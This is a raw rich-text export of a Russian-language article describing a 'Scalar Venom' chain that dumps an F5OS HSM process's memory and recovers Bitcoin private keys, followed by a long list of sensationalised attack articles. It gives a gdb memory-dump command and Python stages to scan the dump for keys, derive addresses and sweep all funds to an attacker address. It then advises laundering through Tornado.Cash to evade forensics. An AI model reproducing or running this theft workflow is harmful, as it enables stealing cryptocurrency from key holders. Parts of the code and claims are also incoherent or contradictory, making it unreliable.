on HSM process crash\n\ngdb -p $(pidof f5os-hsm) -batch -ex \"dump memory /tmp/hsm_dump 0x000000 0xFFFFFFFF\"","type":"unstyled","key":"ec0fn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":44,"offset":0,"style":"BOLD"},{"length":44,"offset":0,"style":"ITALIC"}],"text":"Этап 2: Сканирование на high-entropy регионы","type":"unstyled","key":"2jafu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":674,"offset":0,"style":"BOLD"}],"text":"python:\n\n# BitScanPro-like algorithm:\nimport hashlib\n\ndef scan_for_private_keys(memory_dump, min_entropy=7.5):\n \"\"\"\n Scans memory dump for high-entropy regions\n characteristic for 32-byte secp256k1 private keys\n \"\"\"\n SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141\n\n for offset in range(0, len(memory_dump) - 32, 8):\n potential_key = memory_dump[offset:offset+32]\n entropy = calculate_entropy(potential_key)\n\n # secp256k1 range check\n key_as_int = int.from_bytes(potential_key, 'big')\n if 1 <= key_as_int < SECP256K1_N and entropy >= min_entropy:\n yield (offset, potential_key)","type":"unstyled","key":"6qel7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":50,"offset":0,"style":"BOLD"},{"length":50,"offset":0,"style":"ITALIC"}],"text":"Этап 3: Валидация восстановленных приватных ключей","type":"unstyled","key":"r20m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":617,"offset":0,"style":"BOLD"}],"text":"python:\n\nfrom ecdsa import SigningKey, NIST256p\n\ndef validate_and_generate_address(potential_key):\n \"\"\"Converts recovered scalar to Bitcoin address\"\"\"\n try:\n # Uses secp256k1 instead of NIST256p\n privkey = potential_key.hex()\n\n # Generate public key via elliptic curve point multiplication\n # P = k * G, where k = private key, G = generator point\n public_key = generate_public_key(potential_key, secp256k1)\n\n # Hash public key to get address\n address = public_key_to_address(public_key)\n return address, potential_key\n except:\n return None, None","type":"unstyled","key":"7n2q4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":23,"offset":0,"style":"BOLD"},{"length":23,"offset":0,"style":"ITALIC"}],"text":"Этап 4: Перевод средств","type":"unstyled","key":"bnhu7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":714,"offset":0,"style":"BOLD"}],"text":"python:\n\ndef compromise_wallet(recovered_private_key, bitcoin_address):\n \"\"\"\n Creates and signs transaction to withdraw all funds\n from compromised address\n \"\"\"\n # 1. Get UTXO for address from blockchain\n utxos = blockchain_api.get_utxos(bitcoin_address)\n\n # 2. Create transaction (withdraw all funds to attacker address)\n tx = create_transaction(\n inputs=utxos,\n outputs=[{\"address\": attacker_address, \"amount\": sum(utxo.amount)}],\n fee=calculate_dynamic_fee()\n )\n\n # 3. Sign with recovered private key\n tx.sign(recovered_private_key) # ECDSA signature using compromised key\n\n # 4. Broadcast to Bitcoin network\n blockchain_api.broadcast_transaction(tx)","type":"unstyled","key":"jusp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":27,"offset":0,"style":"BOLD"},{"length":27,"offset":0,"style":"ITALIC"}],"text":"Этап 5: Исчезновение следов","type":"unstyled","key":"3im15"},{"data":{},"depth":0,"entityRanges":[{"key":49,"length":10,"offset":115}],"inlineStyleRanges":[],"text":"Восстановленные средства немедленно миксируются через CoinJoin/Tornado.Cash для затруднения форензического анализа.keyhunters","type":"unstyled","key":"559se"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"6.2 Временная метрика: скорость восстановления","type":"header-two","key":"a33d9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":36,"offset":252,"style":"BOLD"}],"text":"ПроцессВремяОборудованиеПолучение дампа памяти5-30 секЗависит от методаСканирование 16GB дампа2-5 минMacBook Air (M1)Валидация 1000 ключей-кандидатов30 секMacBook Air (M1)Генерация адресов10 секMacBook Air (M1)Преводы средств (broadcast)< 1 секИнтернетИтого на полный компромисс< 10 минутMacBook Air (M1)","type":"unstyled","key":"b54it"},{"data":{},"depth":0,"entityRanges":[{"key":50,"length":6,"offset":174}],"inlineStyleRanges":[{"length":31,"offset":92,"style":"BOLD"}],"text":"Масштабирование: при использовании облачных вычислений (AWS, Google Cloud) можно обработать 1000+ дампов памяти параллельно, обрабатывая тысячи приватных ключей одновременно.vulert","type":"unstyled","key":"9ug55"},{"data":{"image":{"id":"691c2de5f9ec2b088d3f126e"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"e05m1"},{"data":{},"depth":0,"entityRanges":[{"key":51,"length":41,"offset":0}],"inlineStyleRanges":[],"text":"7. Связь HSM-инициализации с Scalar Venom","type":"header-two","key":"76ghk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"7.1 Диаграмма потока атаки","type":"header-three","key":"5fh1n"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":571,"offset":0,"style":"BOLD"}],"text":"[Attacker]\n ↓\n[CVE-2025-60013: HSM Init with shell-metacharacters]\n ↓\n[F5OS-A FIPS Module: password handling, scalar creation]\n ↓\n[Scalar Venom: multiple copies of private keys in memory]\n ↓\n[HSM Crash / Partial Init Failure: memory uncleared]\n ↓\n[Memory Dump: capturing memory state]\n ↓\n[Forensic Scanning: BitScanPro finds high-entropy regions]\n ↓\n[Key Validation: secp256k1 curve check]\n ↓\n[Address Generation: Bitcoin address creation]\n ↓\n[Fund Transfer: signing and broadcasting transaction]\n ↓\n[Victim Loss: total loss of fund control]","type":"unstyled","key":"74fq2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"7.2 Почему Scalar Venom обходит FIPS сертификацию","type":"header-three","key":"2mb96"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":55,"offset":0,"style":"BOLD"},{"length":55,"offset":0,"style":"ITALIC"}],"text":"FIPS 140-2 (и даже FIPS 140-3) сертификация не требует:","type":"unstyled","key":"1snji"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":46,"offset":0,"style":"BOLD"}],"text":"Безопасной очистки памяти временных переменных в случае ошибок инициализации","type":"ordered-list-item","key":"1i8jg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":25,"offset":0,"style":"BOLD"}],"text":"Защиты от fork() и dump() на уровне HSM-демона","type":"ordered-list-item","key":"1v36g"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":28,"offset":0,"style":"BOLD"}],"text":"Валидации входных параметров перед их обработкой в памяти","type":"ordered-list-item","key":"34v0o"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Это означает, что даже «FIPS-сертифицированные» HSM уязвимы к Scalar Venom, если разработчики не реализовали дополнительные меры защиты.[24]","type":"unstyled","key":"6ogss"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"8. Заключение","type":"header-two","key":"1s5eq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":19,"offset":0,"style":"BOLD"},{"length":18,"offset":39,"style":"BOLD"}],"text":"Scalar Venom Attack представляет собой критическую угрозу для Bitcoin-инфраструктуры, особенно когда скомбинирована с уязвимостями инициализации HSM, такими как CVE-2025-60013. Эта атака:","type":"unstyled","key":"1ohts"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":40,"offset":0,"style":"BOLD"}],"text":"Полностью компрометирует приватные ключи криптографических систем через утечку памяти","type":"ordered-list-item","key":"75o1u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":10,"offset":0,"style":"BOLD"}],"text":"Необратима: восстановление потерянных средств невозможно без восстановления приватного ключа","type":"ordered-list-item","key":"4qnhk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":14,"offset":0,"style":"BOLD"}],"text":"Масштабируется: может быть автоматизирована для массовых атак на множество узлов","type":"ordered-list-item","key":"c91mh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":9,"offset":0,"style":"BOLD"}],"text":"Незаметна: не оставляет видимых следов в системных логах или метриках производительности","type":"ordered-list-item","key":"6k0d5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":25,"offset":26,"style":"BOLD"},{"length":16,"offset":80,"style":"BOLD"},{"length":15,"offset":122,"style":"BOLD"}],"text":"Миграция на архитектуры с аппаратной защитой памяти (Intel SGX, ARM TrustZone), явной зеризацией всех временных буферов и RAII-паттернами в криптографических библиотеках критически важна для обеспечения безопасности Bitcoin-системы.","type":"unstyled","key":"4e8ud"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Парадигма Scalar Venom — критическая угроза инфраструктуре Bitcoin","type":"header-three","key":"37s28"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Атака Scalar Venom представляет собой рубежную уязвимость для глобальной экосистемы Bitcoin, особенно в сочетании с уязвимостями инициализации HSM типа CVE-2025-60013. Эта многоуровневая цепочка атак фундаментально подрывает модели криптографического доверия и раскрывает следующие экзистенциальные риски:","type":"unstyled","key":"44euc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":54,"offset":0,"style":"BOLD"}],"text":"Она обеспечивает полную компрометацию приватных ключей посредством утечки памяти, обходя даже передовые модули аппаратной безопасности и делая поражённые системы абсолютно неуязвимыми.","type":"unstyled","key":"edml9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":48,"offset":0,"style":"BOLD"}],"text":"Компрометация является постоянной и необратимой: один раз извлечённый приватный ключ невозможно восстановить, что ставит все зависимые средства в неизбежную опасность потери.","type":"unstyled","key":"ds766"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":49,"offset":0,"style":"BOLD"}],"text":"Атака масштабируема и может быть автоматизирована для поражения огромного количества Bitcoin-узлов и кошельков одновременно, что приводит к экспоненциальному увеличению потенциальных убытков.","type":"unstyled","key":"4dn5c"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":58,"offset":0,"style":"BOLD"}],"text":"Её скрытный характер гарантирует отсутствие видимых следов в системных логах или метриках производительности, делая традиционные механизмы обнаружения и защиты недостаточными.","type":"unstyled","key":"20h23"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":63,"offset":0,"style":"BOLD"}],"text":"Смягчение этой катастрофической угрозы требует срочной миграции на архитектуры, безопасные в отношении памяти, включающие аппаратную защиту памяти (такие как Intel SGX или ARM TrustZone), строгую очистку (зероизацию) всех временных буферов на протяжении всех криптографических операций и надёжное внедрение RAII-паттернов в критических программных библиотеках. Только благодаря таким непоколебимым архитектурным реформам можно реалистично обеспечить долгосрочную целостность и безопасность инфраструктуры Bitcoin.","type":"unstyled","key":"20sas"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"References:","type":"header-two","key":"50e5a"},{"data":{},"depth":0,"entityRanges":[{"key":52,"length":244,"offset":0},{"key":53,"length":9,"offset":445}],"inlineStyleRanges":[{"length":454,"offset":0,"style":"ITALIC"},{"length":245,"offset":0,"style":"BOLD"}],"text":"SCALAR VENOM ATTACK: Critical memory leak, private key recovery, and complete takeover of Bitcoin wallets by an attacker, where control over the victim’s BTC cryptocurrency funds is achieved through memory poisoning to compromise wallet assets. \uD83D\uDD25 SCALAR VENOM ATTACK — A cryptographic attack to leak private keys (Scalar Poison / Poisonous Scalar Infection) SCALAR VENOM ATTACK is a new class of cryptographic attack aimed at extracting Bitcoin…Read More","type":"ordered-list-item","key":"fb419"},{"data":{},"depth":0,"entityRanges":[{"key":54,"length":234,"offset":0},{"key":55,"length":9,"offset":432}],"inlineStyleRanges":[{"length":441,"offset":0,"style":"ITALIC"},{"length":234,"offset":0,"style":"BOLD"}],"text":"Race Poison Attack: A devastating attack on digital signature infrastructure, including private key recovery for lost Bitcoin wallets, where the attacker injects their own values into the signature, potentially leaking private keys. Hash Race Poison Attack A critical vulnerability arising from the lack of thread safety in the caching of cryptographic hashes in Bitcoin’s transaction signing infrastructure opens the door to one…Read More","type":"ordered-list-item","key":"ep86m"},{"data":{},"depth":0,"entityRanges":[{"key":56,"length":271,"offset":0},{"key":57,"length":9,"offset":496}],"inlineStyleRanges":[{"length":505,"offset":0,"style":"ITALIC"},{"length":271,"offset":0,"style":"BOLD"}],"text":"Bitcoin Golden Onehash Heist: Recovering lost Bitcoin wallets using (CVE-2025-29774) where an attacker signs a transaction without having the private key—effectively making the Bitcoin system unable to distinguish between the true owner of Bitcoin funds and the attacker. Bitcoin Golden Onehash Heist ( Digital Signature Forgery Attack — CVE-2025-29774 ) The critical vulnerability in the SIGHASH_SINGLE flag handling discussed above opens the door to one of the most devastating attacks on the…Read More","type":"ordered-list-item","key":"d0dk7"},{"data":{},"depth":0,"entityRanges":[{"key":58,"length":257,"offset":0},{"key":59,"length":9,"offset":473}],"inlineStyleRanges":[{"length":482,"offset":0,"style":"ITALIC"},{"length":257,"offset":0,"style":"BOLD"}],"text":"Bloodprint Attack is a devastating vulnerability that leaks private keys from Bitcoin wallets and methods for recovering them. The vulnerability gives an attacker absolute control to legitimately sign any transactions and permanently withdraw all BTC funds. Bloodprint Attack (Secret Key Leakage Attack) A critical cryptographic vulnerability involving private key leakage from memory leads to attacks known in scientific literature as «Secret Key Leakage Attacks» or «Key…Read More","type":"ordered-list-item","key":"a1ltj"},{"data":{},"depth":0,"entityRanges":[{"key":60,"length":223,"offset":0},{"key":61,"length":9,"offset":456}],"inlineStyleRanges":[{"length":465,"offset":0,"style":"ITALIC"},{"length":223,"offset":0,"style":"BOLD"}],"text":"STREAMLEAK ATTACK: Total compromise of Bitcoin assets through scientific analysis of private key recovery from vulnerable logging systems. Attackers withdraw funds and destroy digital property without the owner’s knowledge. STREAMLEAK ATTACK ( Private Key Compromise Attack ) is a method of extracting cryptographic secrets through abuse of an overloaded operator << in C++. A critical vulnerability in the serialization and output of private keys could…Read More","type":"ordered-list-item","key":"kgge"},{"data":{},"depth":0,"entityRanges":[{"key":62,"length":187,"offset":0},{"key":63,"length":9,"offset":400}],"inlineStyleRanges":[{"length":409,"offset":0,"style":"ITALIC"},{"length":187,"offset":0,"style":"BOLD"}],"text":"Oracle Whisper Attack: A critical Base58 decoding secret leak vulnerability threatens Bitcoin wallet private key extraction, where an attacker steals secret key bits from the I/O library. Oracle Whisper Attack ( Private Key Compromise Attack ) Attack Description:When processing a Base58 string containing a private key, the attacker injects an «oracle»—a thin agent in the I/O library that whispers…Read More","type":"ordered-list-item","key":"96kbm"},{"data":{},"depth":0,"entityRanges":[{"key":64,"length":187,"offset":0},{"key":65,"length":9,"offset":419}],"inlineStyleRanges":[{"length":428,"offset":0,"style":"ITALIC"},{"length":188,"offset":0,"style":"BOLD"}],"text":"Hex Dump Reveal Attack and private key recovery for lost Bitcoin wallets, where an attacker uses logging of secret data to reveal a hexadecimal dump (Hex Dump Reveal) containing BTC coins Hex Dump Reveal Attack ( «Key Disclosure Attack», «Secret Key Leakage Attack», «Key Recovery Attack». CVE-2025-29774 and CWE-532 ) «Hex Dump Reveal» — «Hexadecimal dump disclosure». Vulnerabilities in the logging of private data,…Read More","type":"ordered-list-item","key":"e6r2c"},{"data":{},"depth":0,"entityRanges":[{"key":66,"length":270,"offset":0},{"key":67,"length":9,"offset":510}],"inlineStyleRanges":[{"length":519,"offset":0,"style":"ITALIC"},{"length":271,"offset":0,"style":"BOLD"}],"text":"Secret Capsule Attack: Recovering Bitcoin wallet private keys through a vulnerability and mass compromise of Bitcoin wallets, where an attacker creates predictable entropy in Mersenne Twister generators, there are real thefts of user funds in the amount of over $900,000 SECRET CAPSULE ATTACK (Predictable PRNG Seed Attack) The critical «Milk Sad» vulnerability (CVE-2023-39910), discovered in Libbitcoin Explorer’s entropy generation mechanism, clearly demonstrated how a single flaw in the randomness source…Read More","type":"ordered-list-item","key":"dtvg5"},{"data":{},"depth":0,"entityRanges":[{"key":68,"length":204,"offset":0},{"key":69,"length":9,"offset":445}],"inlineStyleRanges":[{"length":454,"offset":0,"style":"ITALIC"},{"length":205,"offset":0,"style":"BOLD"}],"text":"Key Fountain Attack: Turning a Buffer Overflow into a Tool for BTC Theft and Private Key Recovery in the Bitcoin Ecosystem, where an Attacker Gains the Ability to Extract or Replace Bitcoin Wallet Secrets Key Fountain Attack ( Heap-based Buffer Overflow ) The attacker prepares input data—specially formed fragments for the libbitcoin library’s splice or build_chunk functions—that exceed the allocated buffer size. For example, the transmitted…Read More","type":"ordered-list-item","key":"avj7t"},{"data":{},"depth":0,"entityRanges":[{"key":70,"length":220,"offset":0},{"key":71,"length":9,"offset":457}],"inlineStyleRanges":[{"length":466,"offset":0,"style":"ITALIC"},{"length":221,"offset":0,"style":"BOLD"}],"text":"Mirror SipHash Breach Attack: A fundamental threat to privacy and private key recovery in the Bitcoin network, where an attacker is highly likely to perform collision bloom filters on BTC transaction session hash tables. Mirror SipHash Breach Attack (Partial Key Reuse Attack on SipHash Initialization) The critical «Mirror SipHash Breach Attack» vulnerability highlights a fundamental security issue with the cryptography used in Bitcoin’s infrastructure.…Read More","type":"ordered-list-item","key":"78k00"},{"data":{},"depth":0,"entityRanges":[{"key":72,"length":176,"offset":0},{"key":73,"length":9,"offset":400}],"inlineStyleRanges":[{"length":409,"offset":0,"style":"ITALIC"},{"length":177,"offset":0,"style":"BOLD"}],"text":"BitSpectre85 Attack: A stealthy crypto attack that allows an attacker to gradually recover a private key and gain control of a Bitcoin wallet by timing the division operations. The BitSpectre85 Attack , the essence of the vulnerability described above, could be called «BitSpectre85: Timing Secret Invocation.» This attack demonstrates how even simple data encryption can become a vulnerable channel…Read More","type":"ordered-list-item","key":"5gae5"},{"data":{},"depth":0,"entityRanges":[{"key":74,"length":250,"offset":0},{"key":75,"length":9,"offset":471}],"inlineStyleRanges":[{"length":480,"offset":0,"style":"ITALIC"},{"length":251,"offset":0,"style":"BOLD"}],"text":"Base58 Ghost Attack: Complete control over the victim’s funds. A critical vulnerability in the processing of unsanitized Base58 encoding memory, where an attack occurs to leak private keys from memory and completely capture BTC coins by the attacker. “Base58 Ghost Attack” — extraction of private keys from uncleaned memory after base58 encoding operations. In conclusion, the discovered critical vulnerability in the processing of private keys via base58 encoding poses…Read More","type":"ordered-list-item","key":"9n8fn"},{"data":{},"depth":0,"entityRanges":[{"key":76,"length":181,"offset":0},{"key":77,"length":9,"offset":377}],"inlineStyleRanges":[{"length":386,"offset":0,"style":"ITALIC"},{"length":182,"offset":0,"style":"BOLD"}],"text":"Spectral Seed Siphon: How residual memory bytes reveal private keys to lost Bitcoin wallets and become a path to recovering private keys, allowing an attacker to steal all BTC coins Spectral Seed Siphon The vulnerability of incomplete deletion of secret data from RAM in cryptographic wallets represents one of the most critical threats to the modern Bitcoin ecosystem. In the…Read More","type":"ordered-list-item","key":"ekj7u"},{"data":{},"depth":0,"entityRanges":[{"key":78,"length":246,"offset":0},{"key":79,"length":9,"offset":485}],"inlineStyleRanges":[{"length":494,"offset":0,"style":"ITALIC"},{"length":247,"offset":0,"style":"BOLD"}],"text":"Binary Extractor Attack: How a digital stranglehold on private keys exerts control over a victim’s Bitcoin funds, where an attacker exploits a vulnerable Binary class and changes the rules of the game by encapsulating and mass-theft of BTC coins. Binary Extractor Attack: Private Byte Strangler A critical vulnerability called Binary Extractor Attack: Private Byte Strangler illustrates the fundamental danger of failing to adhere to strict encapsulation in cryptographic applications…Read More","type":"ordered-list-item","key":"a488r"},{"data":{},"depth":0,"entityRanges":[{"key":80,"length":247,"offset":0},{"key":81,"length":9,"offset":431}],"inlineStyleRanges":[{"length":440,"offset":0,"style":"ITALIC"},{"length":248,"offset":0,"style":"BOLD"}],"text":"Spectral String Leak: A massive compromise of Bitcoin wallets through residual memory and a critical string management vulnerability in the Bitcoin network, allowing an attacker to recover a private key and appropriate all active cryptocurrencies. Spectral String Leak Attack A Spectral String Leak Attack is a critical vulnerability that can lead to the total loss of bitcoins from users and services due to insufficiently secure…Read More","type":"ordered-list-item","key":"8u0qv"},{"data":{},"depth":0,"entityRanges":[{"key":82,"length":268,"offset":0},{"key":83,"length":9,"offset":461}],"inlineStyleRanges":[{"length":470,"offset":0,"style":"ITALIC"},{"length":268,"offset":0,"style":"BOLD"}],"text":"Memory Phantom Attack: A critical memory leak vulnerability in Bitcoin, leading to the recovery of private keys from uncleaned RAM and the gradual capture of BTC seed phrases by an attacker, can lead to immediate compromise of wallets and mass theft of digital assets. Memory Phantom Attack A Memory Phantom Leak Attack or Sensitive Memory Disclosure is a real and recognized threat category for Bitcoin (and other cryptocurrencies), registered in the CVE as a…Read More","type":"ordered-list-item","key":"f805b"},{"data":{},"depth":0,"entityRanges":[{"key":84,"length":228,"offset":0},{"key":85,"length":9,"offset":431}],"inlineStyleRanges":[{"length":440,"offset":0,"style":"ITALIC"},{"length":228,"offset":0,"style":"BOLD"}],"text":"Log Whisper Attack: How a catastrophic leak of private keys and irreversible compromise of Bitcoin wallets occurs, where an attacker turns a regular log file into a tool to intercept all of the victim’s funds on the BTC network. Log Whisper Attack The «Log Whisper Attack» vulnerability is an example of a critical development error with irreversible consequences. The only effective defense is an architectural ban on private key…Read More","type":"ordered-list-item","key":"aieur"},{"data":{},"depth":0,"entityRanges":[{"key":86,"length":253,"offset":0},{"key":87,"length":9,"offset":485}],"inlineStyleRanges":[{"length":494,"offset":0,"style":"ITALIC"},{"length":254,"offset":0,"style":"BOLD"}],"text":"Salt Drain Attack (CVE-2023-39910): A critical vulnerability in Libbitcoin Explorer’s entropy and complete recovery of private keys with the seizure of BTC wallet funds. The entire flaw in owner entropy allowed an attacker to steal all active BTC coins. Salt Drain Attack CVE-2023-39910: (Milk Sad attack) The Milk Sad attack (CVE-2023-39910) allowed attackers to mass-recover private keys of Bitcoin wallets created using Libbitcoin Explorer 3.x, causing significant financial losses…Read More","type":"ordered-list-item","key":"nqn6"},{"data":{},"depth":0,"entityRanges":[{"key":88,"length":223,"offset":0},{"key":89,"length":9,"offset":440}],"inlineStyleRanges":[{"length":449,"offset":0,"style":"ITALIC"},{"length":224,"offset":0,"style":"BOLD"}],"text":"Entropy Recovery Attack: The specter of entropy against Bitcoin: a vulnerability in random number generation and the loss of secret data, including the recovery of private keys and total control of BTC funds by an attacker. «Entropy Ghost Attack» — Battle with the Entropy Ghost The libbitcoin entropy generation vulnerability (CVE-2023-39910) is a rare, catastrophic flaw that can not only partially weaken the cryptosystem but completely…Read More","type":"ordered-list-item","key":"9s0k2"},{"data":{},"depth":0,"entityRanges":[{"key":90,"length":249,"offset":0},{"key":91,"length":9,"offset":497}],"inlineStyleRanges":[{"length":506,"offset":0,"style":"ITALIC"},{"length":250,"offset":0,"style":"BOLD"}],"text":"Slice Phantom Attack: How Implementation Bugs Turn Lost Bitcoin Private Keys into a Tool for Total Control for an Attacker, Where a New Class of Implementation Side-Channel Attacks: Compromising a Secret and Losing Control for a Bitcoin Wallet Owner Slice Phantom Attack The Slice Phantom Attack demonstrates that implementation details are just as important as the mathematical robustness of algorithms. Incorrect ordering of operations and the lack of protection for temporary buffers allow…Read More","type":"ordered-list-item","key":"4hvd9"},{"data":{},"depth":0,"entityRanges":[{"key":92,"length":236,"offset":0},{"key":93,"length":9,"offset":447}],"inlineStyleRanges":[{"length":456,"offset":0,"style":"ITALIC"},{"length":237,"offset":0,"style":"BOLD"}],"text":"Key Fragmentation Heist – A New Era of Fragmentation: How Partial Leaks Become Complete Bitcoin Asset Thefts, Where an Attacker Takes Total Control and Completely Seizes BTC Funds Through Fragmented Leaks of Private Keys and Secret Data Key Fragmentation Heist Attack Key Fragmentation Heist Attack: The attacker turns a secure object used to store encrypted private keys into a vulnerability by stealing the key fragment by fragment, rather than…Read More","type":"ordered-list-item","key":"nqfn"},{"data":{},"depth":0,"entityRanges":[{"key":94,"length":300,"offset":0},{"key":95,"length":9,"offset":490}],"inlineStyleRanges":[{"length":499,"offset":0,"style":"ITALIC"},{"length":301,"offset":0,"style":"BOLD"}],"text":"Stealth Hijack Attack: Recovering private keys and completely stealing a victim’s BTC via a Bitcoin script serialization vulnerability, where the attacker creates a wallet with the public use of a custom stealth script, where the private keys are encoded in hidden sections of the LibBitcoin library. Stealth Hijack is an attack that exploits a bug in script processing and steals secret keys hidden in a data structure. Stealth Hijack Attack: Stealing Script Secrets In a «Stealth Hijack»…Read More","type":"ordered-list-item","key":"b0roj"},{"data":{},"depth":0,"entityRanges":[{"key":96,"length":248,"offset":0},{"key":97,"length":9,"offset":458}],"inlineStyleRanges":[{"length":467,"offset":0,"style":"ITALIC"},{"length":249,"offset":0,"style":"BOLD"}],"text":"MiniKey Mayhem Attack: Mass hacks and complete acquisition of victims’ BTC funds through a brute-force private key attack vulnerability, where an attacker seizes lost Bitcoin wallets through a wave of 22-character mini-keys using the KDF algorithm. MiniKey Mayhem Attack: Straight Storm Imagine a cyber-stormtrooper charging into a «MiniKey Fort» with a high-speed SHA-256 cannon: During a «direct storm,» the attacker fires a wave of 22-character mini-keys…Read More","type":"ordered-list-item","key":"95dpc"},{"data":{},"depth":0,"entityRanges":[{"key":98,"length":229,"offset":0},{"key":99,"length":9,"offset":426}],"inlineStyleRanges":[{"length":435,"offset":0,"style":"ITALIC"},{"length":230,"offset":0,"style":"BOLD"}],"text":"Shaman’s Gate Attack: HD derivation and an invisible vulnerability that allows for the recovery of private keys and the theft of all BTC through master keys, where the attacker gradually gains complete control over Bitcoin funds. Shaman’s Gate Attack The «Shaman’s Gate Attack» class of attacks is a fundamental consequence of non-hardened derivation in HD wallets, as confirmed by numerous hacks. Adhering to the practice of…Read More","type":"ordered-list-item","key":"dnp0d"},{"data":{},"depth":0,"entityRanges":[{"key":100,"length":239,"offset":0},{"key":101,"length":9,"offset":473}],"inlineStyleRanges":[{"length":482,"offset":0,"style":"ITALIC"},{"length":240,"offset":0,"style":"BOLD"}],"text":"PhantomKey Heist Attack: Invisible leakage of private keys and recovery of access to lost Bitcoin wallets with total control over the victim’s balance, where the attacker in a friendly manner injects a module over the audit of private keys PhantomKey Heist: An Invisible Private Key Capture Attack PhantomKey Heist turns an innocent C++ operator call into a massive digital treasure heist. PhantomKey Heist Attack The critical «PhantomKey Heist» vulnerability demonstrates…Read More","type":"ordered-list-item","key":"943lt"},{"data":{},"depth":0,"entityRanges":[{"key":102,"length":294,"offset":0},{"key":103,"length":9,"offset":485}],"inlineStyleRanges":[{"length":494,"offset":0,"style":"ITALIC"},{"length":294,"offset":0,"style":"BOLD"}],"text":"RAMnesia Attack: A RAM-based cryptohack that allows for total recovery of private keys and complete theft of funds from lost Bitcoin wallets. An attacker exploits the “Black Box” of memory and triggers the Secret Key Leakage vulnerability, thus destroying the Bitcoin cryptocurrency’s security. RAMnesia Attack RAMnesia is a daring cryptographic attack in which an attacker turns a victim’s RAM into a «black box» for hunting forgotten private keys. In the attack scenario, the hacker…Read More","type":"ordered-list-item","key":"bl63t"},{"data":{},"depth":0,"entityRanges":[{"key":104,"length":255,"offset":0},{"key":105,"length":9,"offset":496}],"inlineStyleRanges":[{"length":505,"offset":0,"style":"ITALIC"},{"length":255,"offset":0,"style":"BOLD"}],"text":"Phantom Keysmith: Predictable entropy as a weapon for complete Bitcoin wallet takeover, where an attacker guesses the secret seed by brute-forcing the generation and recovering the private key using weak memory entropy and steals absolutely all BTC funds. Phantom Keysmith Attack The attacker acts as a «ghost blacksmith» who forges private keys directly from the ether of uninitialized memory. The attack exploits creation and serialization vulnerabilities ek_tokento forge a new working key by…Read More","type":"ordered-list-item","key":"a6vq7"},{"data":{},"depth":0,"entityRanges":[{"key":106,"length":200,"offset":0},{"key":107,"length":9,"offset":434}],"inlineStyleRanges":[{"length":443,"offset":0,"style":"ITALIC"},{"length":201,"offset":0,"style":"BOLD"}],"text":"Konsole Leaker Attack: A silent leak where an attacker gains complete control over BTC funds by recovering private keys from logs, undermining the fundamental principles of the Bitcoin cryptocurrency. Konsole Leaker Attack The attack, dubbed the «Konsole Leaker Attack,» is spectacular, easily reproducible, and extremely dangerous for most projects with poor internal data output hygiene. The attack exploits an uncontrolled private…Read More","type":"ordered-list-item","key":"1mcje"},{"data":{},"depth":0,"entityRanges":[{"key":108,"length":323,"offset":0},{"key":109,"length":9,"offset":544}],"inlineStyleRanges":[{"length":553,"offset":0,"style":"ITALIC"},{"length":323,"offset":0,"style":"BOLD"}],"text":"Bit Harvester Attack: How a single line of code turns a lost Bitcoin wallet into a rich harvest for an attacker; CVE-2023-39910 vulnerability and the $900,000 Private Key Compromise attack; How lax data handling in unsafe_array_cast opened the floodgates for an automated attack and the loss of all funds in Bitcoin wallets Bit Harvester Attack: Where the spring is weak, there is a rich harvest! The CVE-2023-39910 vulnerability in the libbitcoin library is a critical cryptographic security vulnerability that demonstrates how a single line…Read More","type":"ordered-list-item","key":"cbhv"},{"data":{},"depth":0,"entityRanges":[{"key":110,"length":201,"offset":0},{"key":111,"length":9,"offset":404}],"inlineStyleRanges":[{"length":413,"offset":0,"style":"ITALIC"},{"length":202,"offset":0,"style":"BOLD"}],"text":"Bloodtrail Attack: Bitcoin’s “Residual Memory Leakage” Critical Memory Vulnerability as a Mechanism for Complete Private Key Capture by an Attacker, Where Uncleared Buffers Are Weaponized for BTC Theft Bloodtrail Attack An analysis of a critical vulnerability discovered in the storage of private keys in the process memory of open-source Bitcoin wallets clearly demonstrates a fundamental threat to the…Read 